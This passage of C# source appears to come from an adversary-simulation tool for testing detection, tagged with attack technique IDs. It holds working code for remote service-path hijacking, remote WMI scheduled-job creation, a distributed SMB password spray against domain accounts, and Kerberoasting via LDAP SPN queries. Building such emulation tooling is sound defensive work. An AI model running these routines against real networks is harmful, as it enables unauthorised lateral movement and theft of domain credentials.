logger.TimestampInfo("Original binary path " + originalBinaryPath); bool serviceChanged = WinAPI.ChangeServiceConfig(svcHandleOpened, 0xFFFFFFFF, 0x00000003, 0, playbook_task.servicePath, null, null, null, null, null, null); if (!serviceChanged) { logger.TimestampInfo(String.Format("Could not modify remote Service '{0}'.", playbook_task.serviceName)); throw new Win32Exception(createdErr); } logger.TimestampInfo(String.Format("Succesfully modified remote Service '{0}' using ChangeServiceConfig.", playbook_task.serviceName)); WinAPI.StartService(svcHandleOpened, 0, null); logger.TimestampInfo(String.Format("Service '{0}' started with new ServicePath {1}", playbook_task.serviceName, playbook_task.servicePath)); Thread.Sleep(3000); serviceChanged = WinAPI.ChangeServiceConfig(svcHandleOpened, 0xFFFFFFFF, 0x00000003, 0, originalBinaryPath, null, null, null, null, null, null); if (serviceChanged) { logger.TimestampInfo(String.Format("Restored remote Service '{0}' to the original path.", playbook_task.serviceName)); } } }
public static void CreateRemoteScheduledTaskWmi(Computer computer, PlaybookTask playbook_task, Logger logger) { string target = ""; if (!computer.Fqdn.Equals("")) { target = computer.Fqdn; } else if (!computer.ComputerName.Equals("")) { target = computer.ComputerName; } else { target = computer.IPv4; } try { ConnectionOptions connectoptions = new ConnectionOptions(); connectoptions.EnablePrivileges = true; //var processToRun = new[] { playbook_task.command }; object[] cmdParams = { playbook_task.command, DateTimetoUTC(DateTime.Now.AddMinutes(1)), false, null, null, true, 0 }; var wmiScope = new ManagementScope(String.Format("\\\\{0}\\root\\cimv2", target), connectoptions); wmiScope.Connect(); Console.WriteLine("Connected"); var wmiScheduledJob = new ManagementClass(wmiScope, new ManagementPath("Win32_ScheduledJob"), new ObjectGetOptions()); ManagementBaseObject inParams = wmiScheduledJob.GetMethodParameters("Create"); string StartTime = DateTimetoUTC(DateTime.Now.AddMinutes(1)); Console.WriteLine(StartTime); inParams["StartTime"] = "20101129105409.000000+330"; inParams["Command"] = "notepad.exe"; //inParams["InteractWithDesktop"] = true; //inParams["RunRepeatedly"] = true; //inParams["Caption"] = "Suspicious ScheduledTask"; ManagementBaseObject outParams = wmiScheduledJob.InvokeMethod("Create", inParams, null); Console.WriteLine("JobId: " + outParams["JobId"]); Console.ReadKey(); //wmiScheduledJob.InvokeMethod("Create", cmdParams); logger.TimestampInfo(String.Format("Successfully created a scheduled task remotely {0} using WMI's Win32_ScheduledJob on {1}", playbook_task.command, target)); } catch (Exception ex) { //DateTime dtime = DateTime.Now; if (ex.Message.Contains("ACCESSDENIED")) { logger.TimestampInfo(String.Format("Failed to start a process using WMI Win32_Create on {0}. (Access Denied)", target)); } else { logger.TimestampInfo(String.Format("Failed to start a process using WMI Win32_Create on {0}. {1}", target, ex.GetType())); } } }
public static void RemoteDomainPasswordSpray(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1110.003"); logger.TimestampInfo(String.Format("Remote Domain Brute Force using the WNetAddConnection2 Win32 API function")); bool Kerberos = false; List <Computer> host_targets = new List <Computer>(); List <User> user_targets = new List <User>(); List <Task> tasklist = new List <Task>(); string domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; try { if (playbook_task.user_target_type == 99) { domain = "."; } // Executing a remote authentication with Kerberos will not connect to the remote host, just the DC. Kerberos = false; host_targets = Targets.GetHostTargets(playbook_task, logger); user_targets = Targets.GetUserTargets(playbook_task, logger); //if (playbook_task.protocol.ToUpper().Equals("NTLM")) Kerberos = false; if (playbook_task.task_sleep > 0) { logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", playbook_task.task_sleep)); } if (playbook_task.host_target_type == 1 || playbook_task.host_target_type == 2) { //Remote spray against one target host //Target host either explictly defined in the playbook or randomly picked using LDAP queries foreach (User user in user_targets) { User tempuser = user; //int tempindex = index; //if (playbook_task.task_sleep > 0 && tempindex > 0) Thread.Sleep(playbook_task.task_sleep * 1000); if (playbook_task.task_sleep > 0) { Thread.Sleep(playbook_task.task_sleep * 1000); } tasklist.Add(Task.Factory.StartNew(() => { CredAccessHelper.RemoteSmbLogin(host_targets[0], domain, tempuser.UserName, playbook_task.spray_password, Kerberos, logger); })); } Task.WaitAll(tasklist.ToArray()); } else if (playbook_task.host_target_type == 3 || playbook_task.host_target_type == 4) { //Remote spray against several hosts, distributed //Target hosts either explictly defined in the playbook or randomly picked using LDAP queries int loops; if (user_targets.Count >= host_targets.Count) { loops = host_targets.Count; } else { loops = user_targets.Count; } for (int i = 0; i < loops; i++) { int temp = i; if (playbook_task.task_sleep > 0 && temp > 0) { Thread.Sleep(playbook_task.task_sleep * 1000); } tasklist.Add(Task.Factory.StartNew(() => { CredAccessHelper.RemoteSmbLogin(host_targets[temp], domain, user_targets[temp].UserName, playbook_task.spray_password, Kerberos, logger); })); } Task.WaitAll(tasklist.ToArray()); } logger.SimulationFinished(); } catch (Exception ex) { logger.SimulationFailed(ex); } }
public static void Kerberoasting(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1558.003"); List <String> servicePrincipalNames; if (playbook_task.task_sleep > 0) { logger.TimestampInfo(String.Format("Sleeping {0} seconds between each service ticket request", playbook_task.task_sleep)); } try { logger.TimestampInfo(String.Format("Querying LDAP for Service Principal Names...")); servicePrincipalNames = Ldap.GetSPNs(); logger.TimestampInfo(String.Format("Found {0} SPNs", servicePrincipalNames.Count)); if (playbook_task.variation == 1) { logger.TimestampInfo(String.Format("Requesting a service ticket for all the {0} identified SPNs", servicePrincipalNames.Count)); foreach (String spn in servicePrincipalNames) { SharpRoast.GetDomainSPNTicket(spn.Split('#')[0], spn.Split('#')[1], "", "", logger); if (playbook_task.task_sleep > 0) { Thread.Sleep(playbook_task.task_sleep * 1000); } } logger.SimulationFinished(); } else if (playbook_task.variation == 2) { var random = new Random(); logger.TimestampInfo(String.Format("Requesting a service ticket for {0} random SPNs", playbook_task.user_target_total)); for (int i = 0; i < playbook_task.user_target_total; i++) { int index = random.Next(servicePrincipalNames.Count); SharpRoast.GetDomainSPNTicket(servicePrincipalNames[index].Split('#')[0], servicePrincipalNames[index].Split('#')[1], "", "", logger); if (playbook_task.task_sleep > 0) { Thread.Sleep(playbook_task.task_sleep * 1000); } } logger.SimulationFinished(); } else if (playbook_task.variation == 3) { var random = new Random(); logger.TimestampInfo(String.Format("Requesting a service ticket for {0} defined SPNs", playbook_task.user_targets.Length)); foreach (string spn in playbook_task.user_targets) { SharpRoast.GetDomainSPNTicket(spn.Split('#')[0], spn.Split('#')[1], "", "", logger); if (playbook_task.task_sleep > 0) { Thread.Sleep(playbook_task.task_sleep * 1000); } } logger.SimulationFinished(); } } catch (Exception ex) { logger.SimulationFailed(ex); } }